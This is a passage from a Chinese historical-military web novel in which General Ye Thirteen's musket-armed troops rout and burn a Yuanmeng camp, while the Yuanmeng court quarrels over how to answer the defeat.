叶十三站了起来,目光一扫众将领,铿锵说道:“五百血卫军,可抵两万常规兵马,加上你们,对元蒙有何可惧?”
这话没错,叶十三也说得底气十足。
整个战斗过程,他们可都是有目共睹啊!
一百多步外,就能射杀敌人。
血卫军手中的新兵器,真让他们开了眼界。
火器杀敌的威力,是任何**能无法比及的。
叶十三好像看穿了众将领的心思,笑道:“本将还有更厉害的兵器,相信不久,就会让大家开开眼。”
“敢问将军,是何等
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兵器?”
穆顺心急,接着就是一问。
叶十三背起双手,在军帐内来回踱着步子,道:“就是能在一里地外,能射杀敌人的新兵器,要是制造得好,两里地,三里地的范围,射杀敌人都不在话下。”
而且,还是一杀一大片的那种兵器。
叶十三神秘一笑,又是一句补充。
众将领听闻,顿时满脸震撼,眼中满是难以置信。
“能一里地外射杀敌人?还能一杀一大片?这……这如何做到?”
周钊忍不住开口,声音中带着惊叹。
叶十三微微扬起下巴,自信道:“到时候,大家就知道了,乃是我近日苦思半夜,才设计出来的新兵器,其威力巨大,装填速度如**差不多,待到装备我军,元蒙大军便是有再多兵马,也不足为惧!”
众将听后,士气大振,原本心中的担忧,瞬间便消散不少。
“将军英明!有此利器,何愁敌患不除!”穆顺激动地喊道,眼中燃起熊熊斗志。
叶十三目光一瞥,看着士气高昂的众将,满意地点点头:“如今占领这粮草大营,只是本将的第一步,待新兵器装备我部,便主动出击,彻底荡平元蒙的威胁,让我北防军的威名,响彻这片大地!”
“将军英明,将军神勇!”
众将齐声高呼,惊得外边的兵士们,纷纷从军帐门内偷窥不停。
就连在火盆上烧奶茶的何秀儿,也禁不住激动,紧握着拳头高喊不停。
“行了!”
叶十三摆摆手,转身坐回了熊皮大椅,向何秀儿说道:“传令下去,这顿饭,全吃肉。”
**死掉的战马不少,足够这八千多兵将好好吃一段时间的了。
再说,元蒙大军集结了好久,这才建成了这座粮草大营。
万没想到,不到半日时光,大夏北防军就灭了他们近七千的兵马,而且还占领了他们辛苦建成的粮草大营。
要知道,这些粮食,那可是大金盟部和巴立盟部倾其全力,才调运来这么多的粮草。
这下好了,等于是给叶十三充当了战利品。
第216章 那得杀多少**?
不一刻,马肉喷香。
叶十三举起酒碗,目光一扫众将领。
“今晚破例,饮酒一次以示庆贺!”
之前,叶十三是严禁在军营饮酒,唯有这次例外。
“即刻起,本将脚下这片土地,归我大夏疆土属。”
叶十三把酒碗左右一亮,又道:“为我大夏扩疆充土,干了!”
眼中寒芒闪过的叶十三,扬起脖子,把一碗酒饮了个点滴不剩。
“将军,等开春后,我们就可打过沁目河了。”
周钊也意气奋发,举着酒碗也大放豪情。
叶十三目光一转,道:“打过沁目河,何必要等到开春?”
周钊一怔,随即又道:“元蒙吃了大亏,损了不少兵马,又丢了土地,肯定是再次集结大军,准备和我北防军决一死战,而且我军也需要一番休整。”
穆顺也站了起来,举着酒碗说道:“周将军言之有理,当下,我北防军还是死守此地,以防元蒙大军卷土重来。”
“哼!”
叶十三冷哼一声,眼里寒芒又起,沉声道:“就算元蒙不来收复失地,本将也要一鼓作气,打过沁目河去,最少让元蒙的两个盟部,归我大夏所有。”
此言一出,周钊和穆顺相视一眼,默不作声就仰头饮掉了自己碗中的酒。
其实,仗虽然是打胜了,但他们心里还是后怕不已。
要是运着这些粮草,退回黄羊岘防区多好?
一片只能放牧的地方,值得搭上大家的性命,派出足够数量的驻军占领它不成?
叶十三好像看穿了二人的心思,吃了一口马肉后,这又抬头说道:“这片土地,水草丰茂,我田兵可用来开垦种粮,顺我辖下元蒙百姓,也可学习农耕,屯田村边城贸易集市……”
“啊……”
这下,众将领可不淡定了。
叶十三不光是占领一处地方,而是要把打下来的区域,进行改造和统治。
这等野心,就是大夏皇帝,怕是都不敢有的。
当今朝中,巴不得元蒙不再生事,保持友邦局面就再好不过了。
谁想到这个奴籍出身的烽燧兵,却要让元蒙臣服?
“将军三思啊!”
周钊面颊一抽,急道:“元蒙地域广袤,我北防军兵马毕竟有限,战线一旦拉长……”
“哼!”
叶十三冷哼一声,打断了周钊后面想说的话。
目光冷冷一扫众将领,叶十三狠声又道:“我边民安分守己的时候,元蒙**不照样骚扰不断,我北防军退回防区,难道元蒙大军就会善罢甘休?”
此言一出,军帐内的众将领们,纷纷一片窃窃私语。
将领们三三两两,脑袋抵在一起,小声交流着自己的看法。
叶十三嘴角闪过一丝诡异的笑,示意何秀儿给他把酒斟上。
何秀儿怕叶十三喝多了,犹豫了一下,就给叶十三面前的酒碗,只添了半碗。
“满上啊!”
叶十三狠瞪何秀儿一眼,道:“**的酒,你也心疼?”
何秀儿的脸,一下子就红到耳根,小声说道:“战事如此激烈,将军还是少饮为好,万一……”
叶十三摆摆手,嘴角一拧,笑道:“要是不喝上几两,我还真没胆量,再度让大军向前推进。”
“啊……”
这话,不知道是即兴出口的玩笑话?
还是叶十三的真实想法?
就是众将领,也被叶十三的话,惊得合不拢嘴。
难道,趁着酒性壮胆,还要趁胜挺进?
“将军!”
穆顺不淡定了,站起来拱手道:“我军业已占领了这粮草大营,这里距大金盟部还有三十里路,将军不会是?”
后面的话,不说大家也知道。
就眼下这些兵马,要一举拿下大金盟部,恐怕会事与愿违。
再是血卫军手中的兵器厉害,再是元蒙大军溃败后逃散,但逃散的大军,还会重新**起来的。
而且,巴立盟部囤积的兵马,数量并不比这大金盟部的少。
大金盟部虽然归顺了元蒙,但不可能再向大夏投降。
何况,叶十三还杀了大金盟部木桑王爷的女婿那木儿。
这个仇,木桑王爷是放不下的。
对穆顺的话,叶十三却不以为然,目光一扫帐内,淡淡说道:“与其天天提心吊胆,怕**杀过来,还不如主动杀过去。”
说着,叶十三狠狠撕扯了一口马肉,又道:“这些年**对我大夏边城的骚扰,对我大夏边民烧杀抢掠无恶不作,这笔账,不得不算,该让他们付出利息的时候了。”
此言一出,军帐内年纪较轻的将领们,纷纷激动起来。
“末将愿随怀远将军杀过沁目河!”
一
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名宣节校尉满脸通红,仰脖就灌下了一碗酒。
叶十三嘴角微微一翘,冷声又道:“本将并非嗜杀之人,但凡归顺我大夏的**,均以同胞相待。”
“将军三思啊!”
周钊慌了,赶忙拱手道:“非我族类,其心必异,那些**好战成性,恐怕不易被我大夏驯化?”
叶十三斜瞥周钊一眼,道:“周将军此言差矣,好战者,乃是元蒙高层,普通百姓,哪个不愿意过安生日子?”
“可元蒙高层,未必就心甘情愿让我北防军占领此地!”
周钊心有顾虑,极力保持自己的观点。
“那就杀!”
叶十三的面,陡然冷了下来,嘴角一拧,咬牙又道:“那就杀到元蒙皇室,向本将跪地求饶为止。”
此言一出,军帐内顿时陷入一片死寂。
杀到元蒙皇室跪地求饶为止?
那得杀多少**?
就凭他们这不足一万数的兵马?
此时,又有一名致果校尉站了出来,率先打破沉默,拱手道:“与其经常防备**入侵,不如杀过沁目河,也好缓解其他防区的压力。”
穆顺也被这种情绪所感染,尤其想到十年前,自己差点死在那木儿的刀下。
眼下叶十三已经带着他们打到这里,光运一些粮草回去,这未免也太没意思了吧!
“将军,要想杀过沁目河,恐怕还得拿出新的部署才行?”
到底是老将,考虑事情比较周到。
“嗯!”
叶十三点点头,边吃边说。
“眼下,元蒙**骑兵溃不成军,但数量还是不少,最少也有一万余兵数,依本将只见,趁他们还没归拢在一起,先把巴立盟的屯兵之地给夺了再说!”
周钊心头一惊,急道:“不是说,巴立盟和大金盟部,合起来在此屯兵集结的吗?”
“呵呵!”
叶十三摆摆手,道:“这边,只是他们从我黄羊岘防区入侵的路线,还有一批粮草和主力兵马,作为后援在巴立盟境内囤积着。”
“啊……”
此言一出,众将领愕然。
他们没想到,叶十三已经把防区以外的敌情,直接给摸透了。
“啪!”
叶十三把手里一块啃光了肉的马骨头,扔在桌上说道:“抓紧时间吃饭休整,半个时辰后,出征巴立盟部。”
第217章 都给老子准备好了
看来,叶十三已经有了部署。
“末将遵命!”
一听又要连夜出征,众将领们面上一片肃然,齐齐应答。
不多时,所有兵将,都已饱餐一顿。
叶十三站了起来,目光一扫众将领,提高声调道:“左右翼,各留下一千兵马驻守此地。”
然后,目光看向马成,道:“传我军令,五百血卫军随本将出征!”
“末将遵命!”
军帐内,又是一片震天的应答之声。
就在此时,吴六子匆匆赶到。
“将军,部分元蒙**骑兵,逃向巴立盟部,剩余部分直接过了沁目河,去了元蒙总盟部。”
“好!”
叶十三点点头,道:“你带几人,沿沁目河一带放火,造成声势,给元蒙皇室形成压力。”
要知道,大金盟部境内几十里长的沁目河,芦苇遮天,这要是被点了火,可真够让元蒙总盟部慌上一慌的了。
沁目河边,大片的芦苇高度过丈,沿河蔓延几十里长,眼下已经枯萎多时,见火就燃。
“明白!”
吴六子拱手退下。
叶十三走出军帐,回头对何秀儿说道:“你,留下。”
“小的遵命!”
何秀儿躬身一礼,她知道此去就是一场恶战,不宜带着任何累赘。
一时间,战马又嘶鸣起来。
叶十三飞身上马,带领大军浩浩荡荡出发。
月色洒在将士们的铠甲上,寒光闪烁。一路疾驰,马蹄扬起地上残雪无数。
一路上,到处可见**骑兵走散的战马。
有些伤重的**骑兵,在溃败逃亡的路上,突然栽下马背就被冻僵在地。
一个时辰后,已经绕到了硫磺谷外围的另一头。
此时,远远看到,一串灯笼在**营地的旗杆上亮着。
也许是奔腾中的马蹄声,惊动了大营里的**兵。
“呜呜呜……”
**的号角响了起来,大营瞬间就乱了。
原先集结的**兵,还有部分从大金盟部粮草大营溃败逃散的兵马,霎时就乱作一团。
“都给老子准备好了!”
叶十三暴吼一声,五百血卫军,分成两列,齐刷刷在阵前一字排开。
周钊和穆顺带领的左右翼,也纷纷亮出战刀,分别护卫在血卫军的两翼。
此时,离**营地,已经不足五百步。
北防军们没有高声喊杀,只是稳稳地向前推进。
五百血卫军,分成前后两排,齐齐平举着手中的**,向大营的正面逼近。
“呜呜呜……”
大营栅门口的一座瞭望塔上,一名司号的**,扬起脖子再一次吹响了牛角。
三百步,两百步。
叶十三跳下马来,手中**的枪口,缓缓向上抬起。
此时,大开的营门内,呼啦啦涌出成千的**步军。
**步军们高举着弯刀,出了大营的栅门,就迅速向两边分开。
奇怪!
惊慌失措的**兵们,却没有骑马迎战,而是采用了步战。
看来,是逃回去的**骑兵,讲述了战马发生惊吓后不受控制,反而让阵型乱得一塌糊涂造成惨重的伤亡。
一百五十步。
出了营门的**步军,这下十分沉稳,一手牛皮盾牌,一手弯刀高举,森严有序地把大营护在身后。
一百三十步。
北防军也是一样沉稳,只有长靴踩在积雪上的咯吱声,再无任何喧嚣发出。
一百步。
几乎所有的**步军,齐刷刷把盾牌护在胸前,高举的弯刀,在月光下反射出渗人的冷光。
“砰!”
一道火光,从叶十三手中的枪口喷射而出。
“啊……”
一声惨叫之下,营门口哨塔上吹着牛角的**兵,就像一片枯叶,从半空飘落地面。
“噗嗤!”
从哨塔仰面掉落的**,落在栅栏上后,被削尖的一根栅栏,直接从后背穿胸而出。
一道血花,随即就从穿透了**身体的尖木上喷起老高。
没等出了营门的**步军们反应过来,五百血卫军手中的**,已经喷着火舌,交替向**步军的方阵射击。
一朵朵血花,顿时就在**步军的脸上绽开。
甚至有的**步军,被射中额头,从脑袋后面喷出脑浆。
“啊……”
惨叫声顿时就响成了一片,血卫军在距离**营门百步距离停了下来。
“砰砰砰……”
又是一阵接连一阵的轮番射击。
在不断有**步军惨叫着倒下后,剩余的**步军开始往营门内退去。
大营里面,突然一阵骚动。
一队骑兵,高举着战刀冲了出来准
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备突围。
此时,叶十三们又向前推进了二三十步。
“步弓手准备,务必将**骑兵尽数射杀。”
趁着血卫军给**填**灌铁砂的时候,周钊举起战刀暴吼了一声。
早已有北防军的步弓手,在逼近营门百步的时候,就已经张弓搭箭,等待主将的一声令下。
“嗖嗖嗖……”
从栅栏上空跃出大营的战马,还没在地上站稳,马背上的骑兵,就已经咽喉中箭从马背上栽了下来。
左翼也不示弱,从另一侧开始狙击**骑兵。
一阵飞蝗似的狂射之下,冲出营门的**骑兵,又勒转马头向后撤退。
这时候,大营里更多的**兵们狂叫着涌了出来,和刚转身撤退的骑兵们挤成一团。
“砰砰砰……”
趁着左右翼弓箭狂射的压制下,填装好了**的五百血卫军,屏住了呼吸又是一阵精准的射杀。
“左右翼听令,放火烧营!”
突然,叶十三飞身上马,冲着右侧的周钊大吼一声。
“遵命!”
霎时间,左右翼的步弓手们,纷纷给箭簇上缠上蘸了菜油的布条。
在各自主将的指挥下,左翼步弓手冲向大营的毡帐区外面,右翼的步弓手们反向而去,迅速靠近了大营的草垛。
“嗖嗖嗖……”
无数的箭簇,带着火光就射向大营里面。
呼隆隆……
火借着风势,一下子就映红了半边天。
“散开,后退百步,包围狙杀!”叶十三把**背在背上,从腰间抽出那把残刀,勒转马头向后退了百十步远。
与此同时,吴六子们分成几处,在沁目河一带顺利放火。
干枯又密集的芦苇,熊熊大火瞬间就连成了一条火龙,借着风势很快就蔓延了三五十里。
趁着月色突然向兔窝堡、沙柳滩村发动攻击的另外两支元蒙大军,刚和当地驻防的北防军交战不久,就被一阵密集的鸣金声,撤退了二三十里。
对已经占了上风的元蒙大军的突然撤退,这让两处参战的岳佟和周大祥,顿时就懵了。
照元蒙大军如此凶猛的攻势,说不定挨不到天亮,两处北防军就会被破防。
但驻守在两地的两位主将,谁也不敢轻心大意,第一时间就派出了得力探马,去元蒙境内探个虚实。
第218章 混蛋,够胆
在兔窝堡和狼嚎岭之间,亲自率部迎敌的岳佟,面对惨重的伤亡,不免一阵心惊肉跳。
增援到沙柳滩村布防的周大祥,面对元蒙大军攻势下北防军的死伤,不由得头皮发麻。
这二人,几乎在同一时刻,想到了黄羊岘的叶十三。
元蒙突然发起战事,黄羊岘绝对首当其冲,不可能置身事外被绕道。
黄羊岘防区的兵马,却只有一万北防军。
元蒙大军要是分兵同时攻打岘口进入屯田村,叶十三带着的这一万兵马……
二人几乎,就像心有灵犀一样,分别在两个战区不敢往下设想了。
一切,只有等天亮了。
此时的通天驿镇,也陷入了一片慌乱。
尽管衙门的兵卒,在四处拦截百姓不让乱跑,但还是有一些惊慌失措的百姓们,企图绕口关卡向大后方转移。
镇衙门的后院,灯火一片通明,到处都是全副武装的衙门兵卒。
“郡主稍安勿躁!”
不断拿手帕擦着额头虚汗的周敬堂,还不忘安慰焦躁不安的香香郡主。
“车骑大将军岳佟,已经亲自率领大军迎敌,我大夏北防军定会英勇杀敌的。”
香香郡主在地上来回走着,不安地说道:“警讯如此紧急,各烽火台都狼烟四起,不知道黄羊岘那边……”
“有北防军守着,说不定叶将军都不用亲自上阵杀敌。”
周敬堂一边应付着香香郡主,心里一边盘算着他藏匿在西河镇小翠那里的财产。
眼下要是向内地转移那笔财物,运输的风险会更大。
倘若西河镇失守,他半生的积蓄,就会由此打了水漂。
但要说危险,这通天驿却是首当其冲,一旦黄羊岘防区失守,第一个遭殃的就是通天驿镇。
“郡主,要么让下官护送您,移驾西河镇那边,万一这……”
“住口!”
香香郡主勃然大怒,厉声就打断了周敬堂后面要说的话。
目光冷冷一扫周敬堂那张汗水遍布的胖脸,怒道:“防区战事已起,百姓流离失所,身为地方父母,不思安置百姓流民,却一味地想着安生辟祸。”
骂完周敬堂,香香郡主思忖片刻。
“苏哲何在?”
“末将在。”
苏哲心头一凛,就从外面小跑进屋。
香香郡主一瞥苏哲,又抬头看看外面月色惨淡的天空,沉声说道:“趁着月色不暗,带上卫兵,随本郡主去黄羊岘屯田村。”
“郡主……”
苏哲一急,当即就跪了。
“还请郡主三思,眼下黄羊岘防区,说不定已经开战了。”
急出了一身冷汗的苏哲,硬着头皮阻拦香香郡主的任性。
“正因为已经开战,本郡主才不想在这里安享太平,理应和北防军一起抗敌。”
“郡主不可!”
苏哲脑子里飞快地转了个弯,又道:“车骑大将军岳佟,业已率部亲自上了战场,眼下军部无人坐镇,郡主身为监军,当以大局为重,粮草调度,兵器补充,哪一样不是重中之重?”
“少给本郡主戴高帽子!”
不料,苏哲话一出口,当即就被香香郡主识破。
“你以为,如此就能让本郡主留在这里?”
说完,香香郡主狠瞪苏哲一眼,然后绕过苏哲身边,径直就向外走去。
“全体开拔,黄羊岘屯田村!”
人还没出屋子,声音已经向驻扎在后衙的五十名卫兵下了命令。
“唉!”
苏哲叹息一声,狠瞪了周敬堂一眼,然后扭头就追了出去……
香香郡主要开赴战场,周敬堂是拦不住的。
这次,香香郡主把贴身侍婢紫云都没带,率领五十名卫兵,一路快马加鞭,向着黄羊岘方月夜狂奔而去。
天色微亮,香香郡主的人马,已经到了屯田村。
望着空堂堂的练兵校场,一阵不详之感,霎时就涌上心头。
“快,去签房大院看看!”
急得差点哭出声来的香香郡主,双腿一夹马肚,便向签房大院冲去。
“快,跟上,保护郡主!”
苏哲一急,大吼一声,抽出佩刀就催马追了上去。
昔日人满为患的校场,此时冷寂得渗人。
“郡主,您来了?”
从签房大院出来几个北防军兵卒,吃惊地望着策马冲了过来的香香郡主。
“让开!”
香香郡主一声怒吼,直接骑着马就冲进了签房大院。
此时,签房大院的地上,堆满了**兵的
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弯刀。
一群田兵,正拿着斧子在拆卸刀刃。
“你们,这是?”
立在马背上的香香郡主,目光一扫偌大的院子。
“禀郡主!”
一名田兵从地上站了起来,拱手道:“小的们把这些兵器的木柄给卸了,留下刀刃交给曹铁匠。”
如此多的弯刀?
这可不是北防军库存的兵器。
使弯刀的,只有元蒙**。
莫非?
一阵疑惑之下,香香郡主急道:“如此之多的元蒙兵器,这是从何而来?”
站在一旁是一名北防军兵卒,拱手又道:“启禀郡主,这些,都是昨夜大捷,怀远将军让小的们打扫的战利品……”
赢了?
如此说来,是叶十三打了胜仗?
望着地上堆积如山的弯刀,苏哲都不由得倒吸一口凉气。
根据目测,这些兵器数量,至少有五六千数之多。
难道?
叶十三昨天所杀之敌,竟然有五千数以上不成?
“郡主……”
面颊一阵急抖的苏哲,嘴唇也一哆嗦,惊道:“岘口大捷,看来叶将军又立奇功,杀了不少的元蒙**兵啊!”
香香郡主目光一扫院里的兵卒们,发现这些兵卒,身上都已经挂彩。
伤兵?
“你们,都负伤了?”
香香郡主心头陡然一沉,急道:“那怀远将军呢?大军呢?”难道,叶十三还在岘口死守阵地?
一名伤兵面带喜色,说道:“怀远将军已经亲率左右翼,杀过边境线,力图占领**粮草大营。”
“啊……”
这下,吃惊的不光是香香郡主,就是苏哲,也被惊得张大了嘴。
如此看来,这一战,叶十三不但大捷,而且还率部趁胜挺进,企图占领元蒙的大金盟部领土。
“混蛋,够胆!”
香香郡主骂了一句,激动得两腮绯红。
“郡主,我们……”
不知所措的苏哲,把目光投向马背上的香香郡主。
“还用问?”
香香郡主狠瞪苏哲一眼,翻身下马,怒道:“还不巡查整个村子?”
说完,香香郡主一撇嘴,又道:“即刻起,本郡主就坐镇屯田村,兼管黄羊岘防区一应事务。”
第219章 知道枪的厉害了?
此时,元蒙境内烈火熊熊。
大营中惊慌失措的骑兵与步军,相互踩踏之下,惨嚎不断。
冲出大营栅栏的**兵们,不是被血卫军的**击毙,就是被步弓手们的弓箭射死。
拼命突围出来的兵马,也被在外面围堵截杀的北防军**不少。
大火借着风势,一阵猛过一阵,哔哔叭叭一直烧到天色大亮。
望着遍地的尸体,叶十三不禁心头一颤。
这堆积如山的尸骨,不知道让多少个元蒙家庭,就这样没了顶梁柱?
“打扫战场,火速撤退。”
头皮一阵发麻的叶十三,不忍心再看眼前的惨状。
“禀将军!”
一名搜查大营的宣节校尉,兴冲冲从栅栏里面出来,拱手道:“没被烧毁的物资不少,要不要再放一把火?”
“混账!”
没等叶十三说话,周钊一鞭子就抽了过去骂道:“你脑袋里装的是屎不成?既然是物资,岂有再烧毁的道理?”
挨了一鞭子的宣节校尉,讪讪笑道:“周将军息怒,小的是看昨晚大火烧得过瘾,这一时糊涂……”
“行了!”
叶十三眉头一皱,摆手道:“能归拢的**战马,尽量归拢起来,能带走的物资,给战马驮着。”
……
待回到大金盟部的粮草大营,已经是午时了。
急得满地转圈的何秀儿,在一眼看到叶十三归来的时候,眼泪霎时就涌出了目眶。
“将军……”
飞奔上前的何秀儿,一手拉住了马缰,另一只手去扶叶十三下马。
“不用了,我自己下。”
叶十三一笑,就跳下了马背。
浩浩荡荡归来的大军,兵卒们脸上无不带着喜色。
不用问,此战大捷。
“禀将军!”
一名留守粮草大营的百夫长,待叶十三进了营门,单腿一跪禀道:“禀将军,归拢元蒙**的战马六百三十匹,其余跑散太远无法找回,伤马死马数量足有一千余匹。”
“哦!”
叶十三一怔,转头向何秀儿吩咐道:“今后饭食,稀汤为主,马肉放开了吃。”
这才吃了几顿干饭啊!
这就稀汤为主了?
迎着何秀儿不解的目光,叶十三笑道:“有如此多的马肉,够吃一阵子的了,要是再配上干饭,保准会烧胃生病不可。”
细一想,还真是。
一匹高头大马,足够十个兵卒吃十天的。
这上千匹死马伤马,就是供一万人食用,那也顶得上半月的军粮了。
再说剥下来的马皮,每张马皮,可以折叠成双层,能做两面盾牌。
用红柳枝编织成盾牌,里**上马皮,轻巧又坚实,可以用来遮挡弓箭的杀伤力。
粗略一算,最少两千付盾牌有了。
此时,一长溜行军灶上,煮马肉已经溢出了特有的香味。
平日里吃不饱的兵卒们,早已对此是垂涎三尺。
这一战,居然没有伤亡。
零战损的结果,另周钊和穆顺感叹不已。
“你手里的兵器,借本将一观!”
好奇之下,周钊把目光投向一名血卫军,伸手就去借人家手中的**来看。
“这你可得小心了,别嘣着眼睛!”
一名血卫军小心翼翼,把已经填灌了**和铁砂的**,竖着递向周钊。
周钊面色一寒,顿时骂道:“翅膀硬了?敢教训老子了?”
这名血卫军,正是从周钊的北防军中,被挑选出来的步弓手。
看到骂骂咧咧的周钊,眯起一只眼睛,好奇地对着枪口往里瞅着。
“周将军,不敢那样!”
血卫军哭笑不得,紧张地站在一边。
“胡闹!”
突然,叶十三怒吼一声,大步走了过来,从周钊的手中一把夺过**,骂道:“亏你还是个将领,如此冒失,不怕伤了自己?”
说着,叶十三举起夺过来的那支**,对着百步外在地上待宰杀的一匹伤马的脑袋,右手食指一扣**。
“砰!”
挣扎着要爬起来的伤马,额头顿时被射出一个拳头大的血洞,悲鸣一声后,脑袋偏在地上就气绝而死。
“看到了?”
叶十三狠瞪周钊一眼,骂道:“你的脑袋,能有它的硬?”
“末将
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……”
被惊出了一身冷汗的周钊,讪笑着说道:“如此威力的兵器,末将只是好奇……”
此时,一旁的穆顺,看到周钊的狼狈样,差点就笑出了眼泪。
其实,他何尝不是?
只是比周钊慢了一步而已。
“叶将军!”
穆顺打消了把玩一下**的念头,凑上前来说道:“何时给大军都配上这新兵器?”
是啊!
何时给大军都配上这种新兵器使用?
大小将领们一起围了上来,七嘴八舌地说个不停,目光一起望向叶十三。
知道枪的厉害了?
你们这帮**蠢货,知道什么是**了是吧?
叶十三面上一阵得意,大手一摆,吼道:“吃饭休整,别扎堆嬉闹了。”
说完,双手往身后一背,摇头晃脑地就进了军帐。
讨了个没趣的众将领,依然兴趣不减,纷纷把目光投向血卫军手中的**。
但是,这下血卫军们,却把**紧紧抱在怀里,任这些将领们磨破嘴皮,也不让他们再摸一下。
虽然这些将领们,都是他们曾经的顶头上司,但现在,他们都只听叶十三一人的。
要知道,带领着他们的马成,那可是烽燧兵出身,对北防军的这些将领们,谁的面子都不给。
“听好了!”
马成威严地一扫眼前的五百血卫军,冷声吼道:“血卫**不离身,人不离枪,都记住了?”
“记住了……”
五百血卫军,呼声山吼。
“散了散了,各部人马,分时段修整,不得放松警惕。”
一脸尴尬的周钊,向大小将领们摆摆手,让大家不要放下戒备。
穆顺也是,立即安排了防务部署,这才转身进了军帐。
呼啦啦一下,围观的大小将领们也散了,各自去执行任务。
五百血卫军也是,在粮草大营的东西南北四个区域,每个区域布防一百人。
剩下一百血卫军,值守在叶十三的军帐周围听令。
此时,热腾腾的煮马肉已经出锅,奔袭了一夜的兵卒们,纷纷抓起马肉就是一阵狼吞虎咽。
第220章 元蒙国都查尔津
沁目河沿岸,熊熊火势蔓延好几十里。
在风的作用下,河对岸枯死的芦苇,也被引燃起来。
跑散的战马四处乱窜,引起了不少牧民的恐慌。
无主的战马随处可见,这说明它的主人,已经战死。
一些**骑兵溃散后,惊恐之余四处逃窜,这让元蒙境内的人更加惊慌。
从这些残兵败将口中得知,大夏军队已经杀到元蒙地界。
黄羊岘一战,令这些溃军惊恐万分,如此凶猛的大夏军队,他们还是第一次见到。
消息,很快传到了元蒙国都查尔津。
元蒙皇室一片哗然,朝堂之上乱作一团。
忽烈儿大汗怒拍龙椅,即刻召集各盟部王爷议事,责令众臣商议对策。
一些大臣主张立刻调集周边兵力,在黄羊岘外的大金盟部布防,抵御大夏军队的进一步入侵。
而另一些大臣则面露惧色,提议与大夏求和,甚至谏言和亲的邦交策略,以图暂时的安宁。
此时,一位神情沮丧的盟部王爷站了出来,颤声说道:“大汗,可不能怯战啊!黄羊岘一役,我大金盟部损失最为惨重,损失兵马近万,粮草无数,至今大夏军队,还在我大金盟部地盘上驻扎,老臣恳请大汗调集精锐之师,收复失地,为我大金盟部讨个公道!”
忽烈儿大汗听后,神色稍缓,凝视着老王爷,权衡利弊片刻,迟疑道:“眼下我元蒙大军,尽数出动,业已分布在与大夏接壤的三处地方屯兵,这要是把其他军队的兵马抽调到黄羊岘,恐怕大夏北防军会从万川郡、西河镇一带进犯我元蒙,此事,还得谨慎考虑才行。”
“大汗……”
巴立盟部的王爷图海,一把花白的胡须抖得厉害,上前两步,颤声道:“大夏军队烧我屯兵大营,杀死我部勇士万余,抢走粮食无数,如此下去,我巴立盟部的土地,就会被大夏蚕食殆尽,还请大汗快快出兵,杀入黄羊岘,直取通古驿镇,将我巴立盟部的损失给补回来。”
此言一出,忽烈儿面颊一抽。
怎么?
这巴立盟部,也沦陷了一处屯兵大营?
盛怒,震惊,恐慌,一起向忽烈儿袭来。
“黄羊岘一带,到底有多少大夏兵马?”
忽烈儿目光如炬,紧盯着木桑和图海二人,元蒙遭受如此大的损失,还真让他接受不了。
“可能,有三五万。”
“不止这个数,按我军的死伤兵数来看,起码有六七万……”
木桑和图海,迟疑片刻,各自报出了北防军的兵马数量。
“一派胡言!”
突然,忽烈儿大怒,拍着龙椅的扶手吼道:“大夏北方军,总共区区十万人,黄羊岘一带,最多布兵两万,而且,守将叶十三,还是个奴籍烽燧兵而已,你二人丢失如此大面积的土地,折损如此之多的兵马,还有脸在本汗面前虚报敌军兵数?”
“大汗所言极是!”
一名老臣站了出来,轻蔑一瞥木桑和图海二人,然后说道:“我元蒙铁骑,向来战无不胜,可在你二人辖下,竟是如此不堪一击。”
此言一出,朝堂上众臣纷纷交头接耳议论不休。
这几年来,还真没有大夏军队如此完胜过元蒙。
就木桑和图海这对儿女亲家,两处兵马加起来不下三万,居然让大夏黄羊岘守将叶十三的一万兵马,给打了个落花流水不说,还丢失了不少的土地。
这个结果,只能说明这对亲家,近年来只顾贪图享乐,没有好好操练军队。
木桑和图海脸色涨红,却又无言以对。
木桑咬了咬牙,硬着头皮道:“大汗,此次确实是我等疏忽,但敌军来势汹汹,战术诡异,我军猝不及防才致此败。那叶十三不知用何等兵器?我军骑兵多次冲击,竟被其远程射杀。”
图海也连忙附和:“是啊大汗,那黄羊岘地势本就易守难攻,叶十三又加固防御,我军久攻不下,这才陷入被动。还望大汗再给我等一次机会,定将失地夺回,血洗此辱!”
二人只好夸大其词,给自己的失败,找一个能说得过去的理由。
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忽烈儿面色阴沉,目光在二人脸上再次扫过:“哼,机会?本汗给过你们无数机会,如今却换来这般惨败!若再让你们统兵,不知又会生出多少祸事!”
这时,另一位年轻将领站了出来,抱拳朗声道:“大汗,末将愿领一军,前去收复失地,与那叶十三决一死战,定不辱使命!”
忽烈儿目光落在年轻将领身上,神色稍缓,似乎在考量着什么……
这位年轻将领名叫哲别,乃是草原上有名的勇士,骑射功夫精湛,作战更是勇猛无畏。
众人的目光,也随之聚焦在哲别身上,朝堂内一时安静下来,只等忽烈儿的回应。
木桑和图海二人,眼里也是闪过一丝亮光,心中似乎看到了一丝复仇的希望。
片刻后,忽烈儿开口道:“哲别,你虽英勇,那叶十三虽然出身烽燧兵,但也并非等闲之辈,此次出征困难重重,你可有周全之策?”
“大汗不必多虑!”
哲别昂首挺胸,自信答道:“大夏的战将,末将未必放在眼里,何况一个奴籍。”
此言一出,有人不禁摇头。
但也有人振奋起来,向哲别投去赞赏的目光。
哲别目光一扫身边众臣,然后把视线又投向忽烈儿,说道:“末将之前,就已仔细研究过黄羊岘的地势与敌军情况。虽然这次大夏军队暂时德胜,且又驻扎我元蒙境内,这,就是他们的短处。”
“短处?”
忽烈儿面上一怔,皱眉道:“眼下大夏军队兵力不弱,又占据我元蒙粮草大营,仅黄羊岘一战,就让我元蒙折损如此多兵马,这叶十三还有何短处?”
是啊!
事实已经在眼前明晃晃摆着,人家已经完胜,还有何短处可言?
迎着满朝质疑的目光,哲别傲然挺胸,提高了声调说道:“战胜大夏军队,不光是兵马数量的较量,战术尤为重要。”
屁话!
但凡带过兵的人,都知道这是作战的常识。
既然能在朝堂口出狂言,那一定是有着特别高超的战术了?
第221章 金甲勇士哲别
朝堂之上,顿时低语不断。
“你且说来!”
忽烈儿面露不悦,冷声又道:“木桑王爷,图海王爷,二人虽败,但也不是不懂战术之人,就是大夏北防军几位资深战将,也不敢小觑二位王爷。”
这话没错!
要是木桑和图海如此不堪,也不至于让北防军统帅岳佟这几年为此畏首畏尾。
可这烽燧兵叶十三的出现,一下子就打破了这种局面。
屡次杀入大夏境内捞一把好处的元蒙人,无论是牧民还是兵将,无不铩羽而归。
为此,图海折了一个儿子。
也就是说,木桑**一个女婿。
所谓的金刀驸马那木儿,前不久还给叶十三杀了。
三次进入元蒙地界,抢牛羊,
抢战马和粮食,且又**放火救他们的郡主脱险。
这些,都是由于这个叶十三的出现,让元蒙处处得利的局面,直接给倒转了回去。
“叶十三,老夫定将你**万段!”
